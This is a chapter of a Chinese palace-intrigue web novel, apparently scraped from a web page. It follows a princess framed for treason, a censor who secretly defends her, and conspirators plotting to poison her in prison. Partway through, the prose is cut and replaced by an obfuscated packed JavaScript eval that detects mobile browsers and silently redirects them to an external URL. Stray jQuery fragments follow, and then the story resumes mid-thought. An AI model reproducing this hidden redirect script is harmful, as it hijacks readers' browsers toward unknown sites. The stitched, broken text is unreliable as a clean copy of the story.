这刑部尚书之位，看似执掌生杀，权柄煊赫，却只怕是大凌朝堂最是窝囊的官职了。当然，也不排除是他褚庭真时运不济，太过倒霉。
他为官三十载，左右逢源，步步高升，终至一部尚书，在同僚眼中可谓风光无限。
但是自从沈之衡入主都察院以来，他这刑部便如履薄冰，举步维艰。如今摊上承嘉公主“通敌”这桩泼天大案，他更是日日如坐针毡，恨不能辞官八百回。
此刻，褚庭真瘫坐于刑部议事厅主位，对着案头堆积的两沓公文，愁眉深锁，面如死灰。他已为此案，整整三日彻夜难眠。
一沓，是公主通敌叛国的如山铁证：柔然细作密函、笔迹酷似公主的往来书信，更有前两日公主府仆从“供认”公主通敌的证词。若在往日，此等罪证，足以定案。
然而，另一沓，却是都察院接连驳回的文书，皆由沈御史亲笔批阅。字字句句，皆是质疑——“柔然细作的密函或为公主所不知”、“书信笔迹恐系伪造”、“府中证人或有收买作伪之嫌”……
褚庭真百思不得其解。那仆从招供之时，沈御史与姚寺卿分明在场。彼时沈御史一言不发，转头便将刑部呈上的定案文书驳回。这位沈大人，怎地竟有两副面孔？
思及另一件事，褚庭真更是气结于胸。
前些时日，沈之衡亲撰《罪公主书》，领衔弹劾公主。此文在寒门清流乃至市井坊间广为流传，早已飞出京畿之外。
褚庭真细读那篇《罪公主书》，看似辞锋犀利，字字诛心，细究之下，却处处暗藏回护之意。但是，百姓只道是一向刚正的沈御史为民请命，弹劾承嘉公主。
于是乎，如今局面便成了这般：民意汹汹，要求速速定罪；御史弹劾，敦促刑部结案；汪阁老明里暗里，施压坐实公主罪名。仿佛唯有他刑部，左右推诿，一拖再拖。
这是他褚庭真不想结案么？是他刑部办事不力么？分明是那都察院！是那沈御史！一次次驳回，要求补充证据！他褚庭真，可谓满腹苦水无处倾吐！
正当他愁肠百结，长吁短叹之际，一名属官仓皇闯入，急声禀报：“大人！不好了！刑部衙署外，此刻聚集了数十百姓，高呼要您还公主一个公道！”
褚庭真眼前一黑，险些栽倒。这又是唱的哪一出？
他颤声问：“哪……哪来的百姓？说清楚些！”
那属官面露难色，小心翼翼回道：“带头的自称是长安城而来，一共数十名，携有上万名长安百姓联名签署的请愿书，要为公主殿下陈情，要求您还殿下清白！”
听闻此言，褚庭真霍然起身，却又颓然跌坐回椅中，只觉胸口窒闷，气息难续，断断续续道：“快……快叫刘侍郎……去……去应付……本官……本官……”
话音未落，他头一歪，连人带椅轰然栽倒在地。
“大人！大人！快！快传大夫！！！”那属官也未见过这场面，嘶声疾呼。
自那日后，京城风云骤变，颇为热闹。
刑部那头，褚尚书与刘侍郎双双“病倒”，诸事无人主理，刑部上下得片刻清闲。公主一案，更是彻底陷入停滞。
而兵马司与大理寺这边却焦头烂额，疲于奔命，四处压下京中愈演愈烈的纷争。
自长安城那数十百姓入京，京城便如沸水入油锅，处处是口舌之争，动辄拳脚相向。
这边京城百姓高呼：承嘉公主奢淫无度，豢养男宠，勾结柔然，通敌叛国，罪不容诛！
那边长安百姓驳斥：一派胡言！公主在长安，居不过茅屋，衣不过八套，食与百姓无异！更是常施粥济贫，亲为诊脉，乃大凌少有的仁善公主！
京城百姓怒斥：尔等必是收买的奸细！
长安百姓信誓旦旦：我等在长安多年，事事亲见！若不信我等数十人之言，难道连这万民请愿书也不信？若再不信，大可遣人去长安查访！
于是乎，有京中百姓向长安亲友探问，竟证实无误。
如此争执数日，京中百姓渐有动摇之势——莫非……当真冤枉了公主？细想之下，公主回京后，除了与沈大人那点风月传闻，又携男宠张扬几回，确未见有何奢靡之举。
提及沈大人，又有百姓高呼：沈御史乃公正廉明的好官！我等信他！他既两度弹劾公主，公主必有罪！！！
此论调刚起，沈之衡便连夜挥毫，写下《罪己书》。文中直言，他近日听闻公主在长安旧事，深感或有误会，特为两次弹劾向公主致歉。
此文一出，满城哗然。舆论风向骤转，直指公主或蒙冤，不可草率定罪，唯待圣上出关圣裁！此风一起，刑部更是噤若寒蝉，一动不敢动。
妙笔娘子则趁势推出最新一话——《弹劾实为庇护？御史大人他甚爱！》
其间仍有零星声音坚称公主有罪，立时被斥为“收了黑钱，恶意构陷”！
与此同时，当年公主离京的真相，亦如涓涓细流，悄然自宫城中渗出。有宫人低语：当年公主并未推落小太子，实乃遭人构陷；钦天监谶言，亦为继后所为，只为逼公主离京。
此言一出，承嘉公主的遭遇顿惹满城怜惜。
说书人更是捶胸顿足，当场落泪——明昭皇后那般温婉良善之人，岂会教养出骄纵公主？当年必有冤屈！可怜殿下，八岁稚龄孤身离京，及笄之年又背负污名，心中该是何等凄苦？或许这才是她归京后纵情声色的缘由罢！
如此纷纷扰扰，争执了数日，转眼便到了公主入狱的第二十七日，亦是圣上闭关的第二十七日。
举城翘首，只待三日后圣裁。
————
都察院牢狱深处，沈之衡提一壶清酒，缓步踏入铁栅之内，为姜宁斟满一杯。他娓娓道来京中这数日风云变幻，但只字未提那篇《罪己书》。
末了，他目光深深凝视姜宁：“殿下这步棋，恐怕早已布下了？”
姜宁未置可否，只抬手端起酒杯，浅啜一口，复又抬眸，眸光悠远似穿透时空：“确实……很久了。”
或许，早在长安城那些年，她便已开始有意为之。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284325|180369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
但她对长安百姓的那份情谊，绝非作伪。也正因这份真心，在红叶的有意安排之下，长安百姓如今也愿为她奔走呼号，请命陈情。
————
与姜宁牢中这份从容不同，汪府今夜，气氛凝重。
一个黑影于暗巷中四处张望，确认无人尾随后，重重叩响了汪府后门。
门开一缝，小厮正欲呵斥，黑影倏然掀开斗篷。小厮面色一变，立时低声道：“原是萧将军，请。”随即将其引入，紧闭后门，引向汪远书房。
书房内，汪远见来人，眉头紧蹙：“你怎么来了？眼下风声正紧。”
萧定权一把扯下斗篷，随手掷于椅上，声音冷硬：“再不来，等圣上醒来，让我萧家满门抄斩么？”
汪远冷笑一声：“当年与柔然暗通款曲的是你萧定权，与老夫何干？”
“哼！”萧定权恶狠狠地直盯汪远，“莫忘了，打点柔然王庭的那批军械，出自何处？蜀郡莫家。后面的勾当，还需我再提醒阁老么？”
“你这是在威胁老夫？”汪远眼中的凌厉乍现。
“威胁？”萧定权逼近一步，“不敢。只是提醒阁老，汪、萧两家，早已是同舟共济，一荣俱荣，一损俱损！”
汪远沉声道：“此次是你执意要对姜宁下手，信誓旦旦必能功成。我汪家替你稳住圣上这一月之期，已是仁至义尽。”
提及此，萧定权陡然烦躁：“若非那沈之衡横加阻挠，姜宁通敌之罪早已坐实！”
“呵，休提这些‘若非’！”汪远缓缓起身，背手踱步，“每回助你萧家，我汪家都惹得一身腥臊！”
“姜宁带回那贺兰风，分明是知晓了当年旧事，以此相胁。岂能容她？况且，”萧定权语带讥讽，“这些年，汪家难道没有从中获利？”
汪远抬手打断：“够了。眼下该思量的是，圣上出关后，如何收场？”
“这正是我今夜前来的缘由。”萧定权冷哼落座，“依我看，如今只剩一条路，杀了姜宁！”
汪远几乎气笑：“她人在都察院台狱，沈之衡的人日夜看守。杀她？说的轻巧。”
“你们不是最擅用毒么？”萧定权目光狠厉。
“此事，汪家不再插手。如何下毒，是你的事。”汪远语声决绝。当年汪家经手此事的爪牙，早已清理干净。如今，他自是不惧。
萧定权听出汪远撇清之意，沉默片刻，咬牙道：“都察院台狱，我无人手，需你相助。”
汪远侧身，眼底掠过一丝鄙夷，内心暗骂蠢货，但还是强压怒火道：“天香楼这十几日送往台狱的吃食，你以为是给谁的？”
萧定权很快便意会到言外之意，“多谢阁老提点！”
他霍然起身，抓起斗篷就要离去。
就在他迈出书房之际，汪远冰冷的声音自身后传来：“此事若败露，你当知晓如何做。想想你萧定权留的后。”
“不劳阁老费心！”萧定权头也不回，冷冷撂下一句，身影迅速融入门外浓稠的夜色之中。